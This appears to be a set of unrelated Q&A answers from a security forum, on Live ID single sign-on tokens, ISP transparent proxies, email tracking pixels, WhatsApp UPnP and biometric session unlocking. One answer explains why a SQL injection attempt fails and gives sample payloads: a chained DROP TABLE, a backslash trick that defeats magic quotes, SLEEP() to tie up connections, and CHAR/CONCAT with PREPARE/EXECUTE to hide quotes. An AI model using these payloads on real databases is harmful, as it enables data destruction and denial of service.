For added measure, the way it does SSO into Live-enabled sites is by storing a cookie with a short lived token in it for one of the Live ID domains. Once a user has been authenticated by the SSPI, a request is sent to another web service to get a device token. The service is authenticated by a federated trust to Live ID. If you have a token from Live ID that is issued to your device, you can call this service to get another token. This device token is serialized to some particular format and written to a cookie within the users Windows session. Next time the user browses to a Live ID site the cookie will be present, validated, and you won't be prompted for credentials. There's a bit more to it than this, but that's the gist of the process.

So with regard to spoofing or tampering, Microsoft uses the certificate pinning to prevent MITM, and uses a shared secret to prevent unauthorized clients from making authentication requests.

Edit: If the proper certificate is not in the DLL then the request will fail. An admin could spoof the DLL but they'd need to sign it with Microsoft's code signing keys, and well, bigger issues and all that if they could do that. If the admin acquires the shared key somehow then they could spoof a request using your token, but that means they have to acquire the token some how, which is made significantly more difficult given the certificate pinning. At that point it might just be easier to install a fake Credential Provider and collect the credentials.


Sql injection is not working on my site?

In this particular example there's very little you could do, even if you hadn't magic_quotes.

That's because a SQL injection normally can only add to the query string. Since the string is an INSERT command, you can only INSERT something.

In theory, if the SQL server behind supported "chained commands", you could transform a command in two:

INSERT INTO ... VALUES ('...','...'); DROP TABLE Students; -- ');
                               |<--- injected code --------->|

But to do this, the original code must use mysqli_multi_query, not mysqli_query.

One thing you can do is to modify your script to show the query instead of executing it. So you can more easily check what's going on.

And one thing you could try with mysqli (which is why one should use prepared statements and bound parameters) is to play with encoding. Magic quotes will defang single quote marks, but can be thwarted by incorrect (and sometimes correct) UTF8 sequences, or double escapes.

Also, magic quotes is not perfect.

For example, if you tried with

username:      hello\
password:      ,XXX); --

and the query became

INSERT INTO sqltest (name,password) VALUES ('hello\', ',XXX);--')

that would really try and insert

username:      "hello', "
password:      XXX

Now XXX may not contain quotes nor ; . But it could contain a function, such as SLEEP(), which still allows some measure of "attack" against a site (it blocks a SQL connection).

In some circumstances you can build a string by using CONCAT and CHR: instead of 'foo' (contains quotes), you can use CONCAT(CHAR(102),CHAR(111),CHAR(111)) that does not.

It is also possible (but you need to be able to execute arbitrary statements, such as PREPARE and EXECUTE, not just hijacking an INSERT) to build a quoted query and execute it without using quotes:

PREPARE bobby FROM CONCAT(CHAR(68),CHAR(82),CHAR(79),CHAR(80),CHAR(32)...)
EXECUTE bobby; -- D,R,O,P, ,T,A,B,L,E, ,S,t,u,d,e,n,t,s,...


Which type of censorship is being carried out by an ISP (in my case Airtel)?

Your ISP is almost certainly directing you through a transparent proxy.  As such, all of your web traffic is going through an intermediary set of "web servers" before going on to the site you are actually trying to access.  Your ISP is doing this for 2 reasons.  1. it can censor and track your traffic per its or the government's policies, and 2. it can rate limit the flow of your data.

I would suggest using a proxy service like Tor to get around these restrictions.

FYI- apunkabollywood.com resolves to 208.78.41.214 in the US.


What is cleardot.gif next to the senders signature in Gmail?

Probably a form of "read receipt" verification coming from the sender: Has Your Email Been Read? Read Receipts and Web Bugs

To summarise:

If you need to access internet assets (images, etc) in order to view an email, these assets can be personalised for your instance of the sender's email (e.g. [host]/img/message[uuid].png). If you access the image, the sender knows that you (or your software at least) has read the email.

Privacy controls and filter lists within most email clients can block automatic loading of internet assets in an email. The resulting emails might look ugly but at least your privacy hasn't breached.

Note: The fact that the URL in question doesn't seem unique isn't an issue if this is being done by Google on the behalf of the sender (or themselves); as to fetch the HTTPS asset might require your login cookie, which thus links the image request to you.


Why is uPnP settings in router showing external IP address and WhatsApp as app description?

When available, WhatsApp uses uPnP for dynamic port forwarding and external IP address discovery to establish peer-to-peer VoIP session. The external IP address you are seeing is the public IP address of someone with whom you are on call via WhatsApp. If it is not you, then someone in your family is making a VoIP. uPnP settings only shows active uPnP connections.
uPnP is the NAT traversal protocol which opens a temporary port for inbound traffic and forwards it to the uPnP client (like WhatsApp and BitTorrent client). NAT by default blocks any inbound traffic to whom you didn't send the request first. A uPnP client makes a request to uPnP listener which is your wifi router to punch a hole in NAT which allows anyone to reach out to the uPnP client. This allows the caller to send you session data without getting blocked by NAT.
Another purpose of uPnP is to let apps using peer-to-peer protocol to discover your external IP address in order to advertise how others can reach out to you without getting blocked by NAT. In VoIP, this advertising is called signalling. Signalling is not a part of uPnP.
Another method that WhatsApp uses for NAT traversal is STUN protocol which achieves the same purpose but that won't show up in your router logs.
You should ask your WhatsApp contact why he/she is using the internet of UK Ministry of Defense. They could be under surveillance.
You can read some more details in this answer: Found an application (Whatsapp) initiating UPnP requests, is it something that I should worry about?


You are still using a session token, which if implemented correctly, is already secure

All the Face/Touch ID is doing is adding a second factor on the client-side, which prevents you from using the session token until the authentication is completed